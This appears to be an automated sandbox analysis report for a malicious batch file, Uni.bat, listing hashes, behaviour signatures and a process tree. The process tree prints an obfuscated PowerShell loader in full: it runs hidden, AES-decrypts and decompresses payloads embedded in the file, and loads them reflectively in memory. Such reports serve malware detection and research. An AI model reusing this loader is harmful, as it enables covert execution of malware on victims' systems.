Analysis

  • max time kernel
    122s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    13/10/2023, 02:41

General

  • Target

    Uni.bat

  • Size

    14.6MB

  • MD5

    5e162353f6d4f0d3316785c49590cf47

  • SHA1

    a14a7c2639715020df5a2d84ad21236be8674cb5

  • SHA256

    c5162d43e1479ede6cff08c3aeadb08187475e85315128cdac2d32ffe681c813

  • SHA512

    323f840bf950b4f7a7feec7cd73979018ac2cdf2554e7855a22aca9ef1471eec282d6b56c66136228c8969ee3d0ea195abd587efb3b2746fd35adba1bd0bd5c0

  • SSDEEP

    49152:9aok+ydtT1GNd9t6Qeuu+ZgswnNebCyy14BWxpW25Evp/flH1v4r0KKj5dci0RGs:a

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2988
    • C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
      "Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function WuBcS($EFabz){ $bRzHB=[System.Security.Cryptography.Aes]::Create(); $bRzHB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $bRzHB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $bRzHB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AVCsDfD9ktxxy7ap9R1lOS4/eLdwd4Kk6x4IJe7TpyY='); $bRzHB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cRWQ+MYrSp19UY3Rby7uBA=='); $IDZdQ=$bRzHB.CreateDecryptor(); $return_var=$IDZdQ.TransformFinalBlock($EFabz, 0, $EFabz.Length); $IDZdQ.Dispose(); $bRzHB.Dispose(); $return_var;}function cNbkK($EFabz){ $KexDo=New-Object System.IO.MemoryStream(,$EFabz); $TmKio=New-Object System.IO.MemoryStream; $eYdxw=New-Object System.IO.Compression.GZipStream($KexDo, [IO.Compression.CompressionMode]::Decompress); $eYdxw.CopyTo($TmKio); $eYdxw.Dispose(); $KexDo.Dispose(); $TmKio.Dispose(); $TmKio.ToArray();}function JmoQC($EFabz,$CWcpU){ $RZrLm=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$EFabz); $nyWoi=$RZrLm.EntryPoint; $nyWoi.Invoke($null, $CWcpU);}$veHDh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($PmkNr in $veHDh) { if ($PmkNr.StartsWith('SEROXEN')) { $fVggE=$PmkNr.Substring(7); break; }}$lhiuJ=[string[]]$fVggE.Split('\');$omIJM=cNbkK (WuBcS ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($lhiuJ[0])));$iWNDL=cNbkK (WuBcS ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($lhiuJ[1])));JmoQC $iWNDL (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));JmoQC $omIJM (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1136

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe

    Filesize

    462KB

    MD5

    852d67a27e454bd389fa7f02a8cbe23f

    SHA1

    5330fedad485e0e4c23b2abe1075a1f984fde9fc

    SHA256

    a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

    SHA512

    327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

  • \Users\Admin\AppData\Local\Temp\Uni.bat.exe

    Filesize

    462KB

    MD5

    852d67a27e454bd389fa7f02a8cbe23f

    SHA1

    5330fedad485e0e4c23b2abe1075a1f984fde9fc

    SHA256

    a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

    SHA512

    327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

  • memory/1136-5-0x000000001B040000-0x000000001B322000-memory.dmp

    Filesize

    2.9MB

  • memory/1136-6-0x00000000002F0000-0x00000000002F8000-memory.dmp

    Filesize

    32KB

  • memory/1136-7-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

    Filesize

    9.6MB

  • memory/1136-8-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

    Filesize

    9.6MB

  • memory/1136-9-0x0000000002680000-0x0000000002700000-memory.dmp

    Filesize

    512KB

  • memory/1136-10-0x0000000002680000-0x0000000002700000-memory.dmp

    Filesize

    512KB

  • memory/1136-11-0x0000000002680000-0x0000000002700000-memory.dmp

    Filesize

    512KB

  • memory/1136-12-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

    Filesize

    9.6MB